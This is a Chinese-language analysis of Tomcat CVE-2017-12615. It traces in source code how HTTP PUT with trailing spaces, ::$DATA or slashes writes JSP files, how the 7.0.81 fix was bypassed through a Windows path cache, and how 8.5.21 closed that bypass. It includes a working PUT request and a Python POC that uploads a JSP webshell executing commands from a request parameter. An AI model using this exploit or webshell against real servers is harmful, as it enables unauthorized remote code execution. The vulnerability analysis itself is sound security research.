Tomcat RCE (CVE-2017-12615)
漏洞条件
- Tomcat 7.0-7.79
- readonly 初始化参数由默认值设置为 false
- Window系统(
%20
和::$DATA
) - Linux和Window都通用(
\
)
原理分析
这个漏洞的原因很简单,总结了一下主要是三个原因造成的。
- 当readonly为
false
,能够使用PUT/DELETE
的方式操作文件,PUT
方法就是将请求的文件保存到服务器中。 - 在Tomcat遇到当后缀是
jsp
、jspx
时会使用JspServlet
处理,其他情况下使用DefaultServlet
处理。
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
- 在Windows环境下文件的名字的最后不能有空格,导致像
filename.jsp
(后面存在空格)、filename.jsp::$DATA
(ADS流)这样的名字保存的时候会去掉最后的空格和::$DATA
这样的字符,从而将文件保存为jsp文件,进而绕过一些检测。 - java的
WinNTFileSystem.normalize
方法会把文件名最后的/
去掉,从而将xxx.jsp/
保存为xxx.jsp
文件。
漏洞调试
首先在conf文件夹的web.xml文件中添加readonly参数并设置值为false:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
然后启动调试,发送PUT方法的HTTP请求
方法一
PUT /test.jsp%20 HTTP/1.1
Host: 192.168.1.9:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24
<%out.print("test");%>
在DefaultServlet::doPut()
方法中打下断点进行调试
由于readonly
为false,因此能够进入判断后的代码执行。
这一段代码是先获取文件的相对路径,然后到服务器中查找是否存在该文件,接下来就是获取文件的输入流作为资源,如果文件不存在的话就执行resource.bind()
方法。
进入ProxyDirContent.java:bind()
中
执行了dirContext.bind(parseName(name), obj);
,跟踪进入到parseName()
方法中:
并没有对name进行处理,直接返回,回到上面的bind
方法,进入到dirContexn.bind()
方法中:
套娃调用另一个bind
方法,继续跟进:
进入到了FileDirContent.java
中的bind()
方法,先以test.jsp[空格]
为名字创建一个File对象,然后判断该文件是否已经存在于目录中,然后就进入到rebind()
方法,继续跟进:
@Override
public void rebind(String name, Object obj, Attributes attrs)
throws NamingException {
// Note: No custom attributes allowed
// Check obj type
File file = new File(base, name);
InputStream is = null;
if (obj instanceof Resource) {
try {
is = ((Resource) obj).streamContent();
} catch (IOException e) {
// Ignore
}
} else if (obj instanceof InputStream) {
is = (InputStream) obj;
} else if (obj instanceof DirContext) {
if (file.exists()) {
if (!file.delete())
throw new NamingException
(sm.getString("resources.bindFailed", name));
}
if (!file.mkdir())
throw new NamingException
(sm.getString("resources.bindFailed", name));
}
if (is == null)
throw new NamingException
(sm.getString("resources.bindFailed", name));
// Open os
FileOutputStream os = null;
byte buffer[] = new byte[BUFFER_SIZE];
int len = -1;
try {
os = new FileOutputStream(file);
while (true) {
len = is.read(buffer);
if (len == -1)
break;
os.write(buffer, 0, len);
}
} catch (IOException e) {
NamingException ne = new NamingException
(sm.getString("resources.bindFailed", e));
ne.initCause(e);
throw ne;
} finally {
if (os != null) {
try {
os.close();
} catch (IOException e) {
}
}
try {
is.close();
} catch (IOException e) {
}
}
}
这里就是获取输入流然后将内容输出到File对象中,也就是我们的test.jsp空格
文件,然后这个文件保存到window中的时候会去掉空格导致保存为jsp文件,造成了RCE。
方法二
同样地,使用ADS流的方式也是一样的
方法三
除了这两种方式之外,还存在一种方式使用类似于test.jsp/
,并且这个方法不局限于window系统,同样适用于Linux。当创建一个这样的文件时候,同样是由DefaultServlet
处理,
但是问题出在File file = new File(base, name);
的地方
这里可以看到,输入的name为/test3.jsp/
,但是生成的File对象名字最后的/
消失了,跟进去看看发生了啥:
关键是fs.normalize(child)
这里,这里的child
就是我们传入的文件名字,继续跟进去:
这里代码有点抽象,主要是一个一个字符去循环判断是否是/
、\
这两个字符,然后我们名字 /test3.jsp/ 第一个字符就检测中了,进入到另外一个 normalize
方法中:
/* Normalize the given pathname, whose length is len, starting at the given
offset; everything before this offset is already normal. */
private String normalize(String path, int len, int off) {
if (len == 0) return path;
if (off < 3) off = 0; /* Avoid fencepost cases with UNC pathnames */
int src;
char slash = this.slash;
StringBuffer sb = new StringBuffer(len);
if (off == 0) {
/* Complete normalization, including prefix */
src = normalizePrefix(path, len, sb);
} else {
/* Partial normalization */
src = off;
sb.append(path.substring(0, off));
}
/* Remove redundant slashes from the remainder of the path, forcing all
slashes into the preferred slash */
while (src < len) {
char c = path.charAt(src++);
if (isSlash(c)) {
while ((src < len) && isSlash(path.charAt(src))) src++;
if (src == len) {
/* Check for trailing separator */
int sn = sb.length();
if ((sn == 2) && (sb.charAt(1) == ':')) {
/* "z:\\" */
sb.append(slash);
break;
}
if (sn == 0) {
/* "\\" */
sb.append(slash);
break;
}
if ((sn == 1) && (isSlash(sb.charAt(0)))) {
/* "\\\\" is not collapsed to "\\" because "\\\\" marks
the beginning of a UNC pathname. Even though it is
not, by itself, a valid UNC pathname, we leave it as
is in order to be consistent with the win32 APIs,
which treat this case as an invalid UNC pathname
rather than as an alias for the root directory of
the current drive. */
sb.append(slash);
break;
}
/* Path does not denote a root directory, so do not append
trailing slash */
break;
} else {
sb.append(slash);
}
} else {
sb.append(c);
}
}
这一段实属太抽象了,完全没看懂,反正就是这里把最后的/
给去掉了。
修复
Tomcat在7.0.81把这个洞给修了,通过源码对比分析下:
可以发现,在Tomcat的7.0.81中引入了加入了新的代码,通过File file = file(name, false);
返回一个File
类,而不是原来的直接new File()
。
把环境换到 Tomcat 7.0.81 看一下这里干了啥,请求:
直接跟踪到file(name, false)
方法,此时传进去的name就是我们请求的/test.jsp%20
跟进去file
方法:
发现除了之前版本中用到的new File()
之外还多了个validate
方法,跟进去看:
进去后发现对file对象执行了getCanonicalPath
方法,调用的是 java.io.File 内的方法,如果file的名称中存在空格,则会去掉空格;这里返回的规范路径就已经把最后的空格去掉了。接着往下看:
在这里判断规范后的路径是否和原来的绝对路径一致,防止路径穿越把文件保存到别的地方,继续往下看:
这里就是修复的关键:先来理清下现有的变量:
- fileAbsPath:
E:\xxxx\test.jsp空格
- canPath:
E:\xxxx\test.jsp
先对上面两个变量都做一次normalize
方法,这里我们不深究这个方法干了啥,因为这里两个变量通过这个方法返回的内容不变,absPath变量的最后仍然带有空格。
然后就分别根它们据绝对路径的目录长度将最后的文件名截取出来,此时
- absPath:
test.jsp空格
- canPath:
test.jsp
然后判断它们是否相等,不相等的话就返回null,也就是file对象创建失败了。
修复的绕过
原理
但!在高并发或者另外一种情况下,却又能创建 JSP 文件,也就是说 canPath.equals(absPath)
为 true
。通过深入分析,找出了其原因。
在Tomcat 7.0.81 的代码中,对于路径的规范化是调用的 file.getCanonicalPath()
:
在之前我们并没有深究里面干嘛了,只是知道file经过这个方法规范化之后会把最后的空格给去除,现在跟进去:
也就是调用 FS 的 canonicalize
方法,对于 Windows,调用的是 WinNTFileSystem.canonicalize
。这个 Bypass 的锅也就出在 WinNTFileSystem.canonicalize
里,进入方法一路跟到断点那里开始:
上述代码有一个非常非常神奇的地方:
canonicalizeWithPrefix(resDir, filename)
不会去掉路径尾部空格canonicalize0(path)
会去掉路径尾部空格
为了满足进入存在 canonicalizeWithPrefix
的分支,需要通过两个判断:
String res = cache.get(path);
应为null
,此处 PUT 一个从未 PUT 过的文件名即可resDir = prefixCache.get(dir);
应不为null
可以发现,对于 prefixCache
进行添加元素的操作在下方存在 canonicalize0
的 if 分支:
通过代码的判断条件可知,如果想在 prefixCache
存入数据,需要满足文件存在且文件不是目录的条件。但是问题并没有完全解决。prefixCache存在时间的有效期。通过分析代码发现:
private ExpiringCache prefixCache = new ExpiringCache();
ExpiringCache() {
this(30000);
}
@SuppressWarnings("serial")
ExpiringCache(long millisUntilExpiration) {
this.millisUntilExpiration = millisUntilExpiration;
map = new LinkedHashMap<String,Entry>() {
protected boolean removeEldestEntry(Map.Entry<String,Entry> eldest) {
return size() > MAX_ENTRIES;
}
};
}
private Entry entryFor(String key) {
Entry entry = map.get(key);
if (entry != null) {
long delta = System.currentTimeMillis() - entry.timestamp();
if (delta < 0 || delta >= millisUntilExpiration) {
map.remove(key);
entry = null;
}
}
return entry;
}
这个表示在prefixCache
中的数据的有效期为30000ms
即3秒种,所以发送的请求需要在3秒内完成,否则就无法达到攻击的目的。
利用
首先,要向 prefixCache
中添加内容,那么需要满足 f.exists() && !f.isDirectory()
这个条件。仍然还是空格的锅:
>>> os.path.exists("C:/Windows/System32/cmd.exe")
True
>>> os.path.exists("C:/Windows/System32/cmd.exe ")
True
window下判断的文件名字及时后面多了个空格,也会判断文件存在。
因此,在无已知文件的情况下,我们只需要先 PUT
创建一个 test.txt
,在 PUT
一个 test.txt%20
,即可向 prefixCache
添加数据了。
首先,PUT
方法发送 test.txt
因为文件不存在,所以成功地创建了文件。
再用PUT
方法发送 test.txt%20
因为window判断test.txt空格
这个文件就是一开始发送的那个test.txt
文件,因此这个文件存在存在,所以成功地向prefixCache
写入了dir
。
这时候resDir = prefixCache.get(dir)
就不为 null
了,所以只需用PUT方法发送test.jsp%20
就能进入canonicalizeWithPrefix(resDir, filename)
方法,前面说到这个方法不会去掉尾部的空格,因此规范化后返回的文件名不会去掉尾部的空格
所以到validate
方法最后那里判断两个规范前和规范后的文件名就是相同的,都带有空格,进而返回的file对象名字也带有空格,那么后面的流程就和之前一样了。从而绕过了这个修复。
但是别忘记了prefixCache这个变量只存在3秒,所以手要快!
POC
当然也可以写脚本啦:
import sys
import requests
import random
import hashlib
shell_content = '''
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
'''
if len(sys.argv) <= 1:
print('Usage: python tomcat.py [url]')
exit(1)
def main():
filename = hashlib.md5(str(random.random()).encode()).hexdigest()[:6]
put_url = '{}/{}.txt'.format(sys.argv[1], filename)
shell_url = '{}/{}.jsp'.format(sys.argv[1], filename)
requests.put(put_url, data='1')
requests.put(put_url + '%20', data='1')
requests.put(shell_url + '%20', data=shell_content)
requests.delete(put_url)
print('Shell URL: {}'.format(shell_url))
if __name__ == '__main__':
main()
修复的绕过的修复
Tomcat 8.5.21 的代码逻辑给换了,导致上面的绕过失效了。
在8.5.21
中的以jsp
和jspx
还是由JSPServlet来处理,其他的由DefaultServlet处理。
我们还是从org.apache.catalina.servlets.DefaultServlet 的 doPut
开始,其中的关键代码变为resources.write(path, resourceInputStream, true)
,跟进去:
走到StandardRoot的write
方法,在调用另一个write
方法:
走到DirReasourceSet的write
方法,在这里调用file
方法:
可以看到传进去的参数为我们请求的文件名字:
走到了AbstractFileReasourceSet的file
方法
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(fileBase, name);
if (!mustExist || file.canRead()) {
if (getRoot().getAllowLinking()) {
return file;
}
// Check that this file is located under the WebResourceSet's base
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null)
return null;
if (!canPath.startsWith(canonicalBase)) {
return null;
}
// Case sensitivity check
// Note: We know the resource is located somewhere under base at
// point. The purpose of this code is to check in a case
// sensitive manner, the path to the resource under base
// agrees with what was requested
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + '/';
String absPath = normalize(fileAbsPath);
if ((absoluteBase.length() < absPath.length())
&& (canonicalBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(canonicalBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}
} else {
return null;
}
return file;
}
不难发现,这里的file
方法和Tomcat 7.0.81中的file
方法是一样的,都是用getCanonicalPath
获取规范化路径,然后再和原来的路径进行比较,相同就返回该file对象,否则就返回null。因此漏洞还在,代码中修复的地方并不在这里。
回到DirReasourceSet的write
方法,我们如法炮制绕过,没有意外的话是能正确返回file对象的名字为xxxx\test.jsp空格
,走到下面的File.copy
方法,里面有个toPath
方法:
问题就出在这里,可以看到toPath
方法的输入路径尾部是带有空格的,但是这个方法执行后抛出一个无效的路径异常。
这里尝试下跟到这个toPath
方法看看,看到调用WindowsFileSystem.getPath()
:
在调用WindowsFileSystem.getPath()
方法中调用WindowsPath.parse
方法:
在WindowsPath.parse
方法调用WindowsPathParser.parse()
:(阁这套娃呢?)
WindowsPathParser.parse()
方法中继续套parse
方法:
parse
方法中对路径中的\
做了一些处理,这里也没怎么看懂,应该是路径转换之类的,然后走到有个normalize
方法:
normalize
方法如下:
private static String normalize(StringBuilder var0, String var1, int var2) {
int var3 = var1.length();
var2 = nextNonSlash(var1, var2, var3);
int var4 = var2;
char var5 = 0;
while(var2 < var3) {
char var6 = var1.charAt(var2);
if (isSlash(var6)) {
if (var5 == ' ') {
throw new InvalidPathException(var1, "Trailing char <" + var5 + ">", var2 - 1);
}
var0.append(var1, var4, var2);
var2 = nextNonSlash(var1, var2, var3);
if (var2 != var3) {
var0.append('\\');
}
var4 = var2;
} else {
if (isInvalidPathChar(var6)) {
throw new InvalidPathException(var1, "Illegal char <" + var6 + ">", var2);
}
var5 = var6;
++var2;
}
}
if (var4 != var2) {
if (var5 == ' ') {
throw new InvalidPathException(var1, "Trailing char <" + var5 + ">", var2 - 1);
}
var0.append(var1, var4, var2);
}
return var0.toString();
}
这里通过循环判断每一个字符是否合乎规范,这里我们直接循环到最后一个字符,也就是空格那里:
首先获取当前索引的字符,此时是空格,然后判断该字符是否是斜杠\
,这里不是,到另一头代码块:
这里调用isInvalidPathChar
方法,我们看名字就知道是哦判断是否是不合法的路径字符:
private static final boolean isInvalidPathChar(char var0) {
return var0 < ' ' || "<>:\"|?*".indexOf(var0) != -1;
}
这里我们发现空格其实并不在黑名单里面,这个方法返回的是false,并不会抛出异常。所以接着往下看:
这里的判断逻辑是:var4为路径中最后一次斜杠字符的索引,这里为65;var2是路径中最后一个字符的索引,也就是路径的长度,这里为74;也就是说他这里判断为路径中最后一个字符是否是斜杠\
,这里并不是,所及到第二个判断。第二个判断中的var5就是路径中最后一个字符,也就是空格,所以判断为true,抛出异常!
参考资料
Tomcat CVE漏洞CVE-2017-12615和12616分析
Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615